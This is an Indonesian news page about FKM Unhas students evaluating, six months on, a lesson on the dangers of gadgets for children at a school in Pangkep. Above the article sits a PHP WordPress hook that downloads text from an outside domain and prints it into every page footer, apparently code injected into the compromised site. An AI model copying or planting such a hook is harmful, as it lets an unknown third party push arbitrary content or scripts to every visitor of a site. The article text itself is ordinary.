function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Mahasiswa Posko 31 PBL III FKM Unhas Melaksanakan Evaluasi Intervensi Edukasi Bahaya Gadget pada Anak, Dukung Tujuan SDGs 4 - Suluh Nusantara

Home / Uncategorized

Kamis, 4 Juli 2024 - 08:57 WIB

Mahasiswa Posko 31 PBL III FKM Unhas Melaksanakan Evaluasi Intervensi Edukasi Bahaya Gadget pada Anak, Dukung Tujuan SDGs 4

Doc. Evaluasi Intervensi Edukasi Bahaya Gadget pada Anak, Dukung Tujuan SDGs 4 (Istimewa)

Doc. Evaluasi Intervensi Edukasi Bahaya Gadget pada Anak, Dukung Tujuan SDGs 4 (Istimewa)

Mahasiswa Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) yang tergabung dalam Posko 31 Praktik Belajar Lapangan (PBL) III, kegiatan evaluasi intervensi penyuluhan edukasi bahaya penggunaan gadget pada anak di Kelurahan Biraeng, Kecamatan Minasate’ne, Kabupaten Pangkep sukses dilaksanakan berkat dukungan dari Dekan Fakultas Kesehatan Masyarakat Universitas Hasanuddin, Prof. Sukri Palutturi, SKM., M.Kes., M.Sc.PH, Ph.D dan dosen supervisor Posko 31, Basir S.KM., M.Sc. Kegiatan ini sejalan dengan Tujuan Pembangunan Berkelanjutan (SDGs) nomor 4, yaitu Pendidikan Berkualitas.

Mahasiswa PBL III Posko 31 FKM Unhas, Aulia Arika Kamaluddin, Tri Anugrah Saputri Janna, Sabrina Salsabila Abdullah, Angelina Toding, Ulfa Amelia Rusli, Andi Mario Buana Subhan, dan Rina Timbang Langi, dibimbing oleh dosen supervisor Basir S.KM., M.Sc., telah melakukan penyuluhan edukasi bahaya penggunaan gadget pada anak di SD Negeri 59 Rea pada PBL II.

Baca Juga  Departemen Ilmu Gizi FKM Unhas Gelar Rapat Kerja untuk Perkuat Arah Pengembangan dan Kualitas Akademik

Enam bulan kemudian, hari Senin 01 Juli 2024 mereka melakukan evaluasi untuk mengukur efektivitas intervensi. Evaluasi dilakukan dengan memberikan post-test kepada 14 peserta penyuluhan secara door to door. Hasilnya menunjukkan bahwa terdapat peningkatan pengetahuan setelah intervensi, meskipun sedikit menurun setelah 6 bulan. Meskipun demikian, pengetahuan peserta tetap berada di atas nilai sebelum intervensi, menunjukkan dampak positif dari program edukasi. Hal ini menunjukkan bahwa edukasi tentang bahaya penggunaan gadget pada anak perlu dilakukan secara berkelanjutan untuk memaksimalkan manfaatnya.

Baca Juga  POSKO 22 PBL III FKM UNHAS PASANG POSTER EDUKATIF “GERAKAN CERDAS” UNTUK GENERASI BEBAS STUNTING

Tujuan Pembangunan Berkelanjutan (SDGs) nomor 4 bertujuan untuk memastikan pendidikan yang berkualitas inklusif dan adil, serta mempromosikan peluang belajar seumur hidup bagi semua. Kegiatan penyuluhan edukasi bahaya penggunaan gadget pada anak oleh Posko 31 PBL III FKM Unhas ini berkontribusi pada pencapaian target tersebut dengan meningkatkan pengetahuan dan kesadaran anak-anak tentang bahaya penggunaan gadget yang berlebihan, sehingga mereka dapat menggunakan teknologi dengan lebih bertanggung jawab.

Share :

Baca Juga

Uncategorized

Kolaborasi Posko 23 PBL II FKM Unhas dan Warga untuk Tingkatkan Kesadaran Lingkungan dengan Pemasangan Papan Wicara di Desa Bontosunggu

Uncategorized

Intervensi Kesehatan: Mahasiswa Posko 4 PBL II FKM Unhas Distribusikan Kalender Edukasi Stunting di Desa Barana, Jeneponto

Uncategorized

Mahasiswa PBL II FKM Unhas Sosialisasi Pencegahan DBD di Desa Garassikang

Uncategorized

Evaluasi Intervensi Edukasi Anemia oleh Posko 20 PBL III FKM Unhas di MTsN 4 Jeneponto

Uncategorized

PERSAKMI Sulsel Gelar Aksi “Berbagi 100 Kebaikan” untuk Masyarakat di Bulan Ramadhan

Uncategorized

Wisuda Santri Putri Angkatan 2 dan Penerimaan Santri Putri Angkatan 3 Yayasan Kesehatan Masyarakat Sahabat Dhuafa

Uncategorized

Edukasi 3R dan Aksi Minggu Bersih: Masyarakat Pallengu Bersatu Kelola Sampah untuk Lingkungan Berkelanjutan

Uncategorized

Awal Sehat Untuk Baduta : Mahasiswa PBL II FKM Unhas Lakukan Edukasi Terkait Pencegahan Bayi BBLR dan KEP Pada Baduta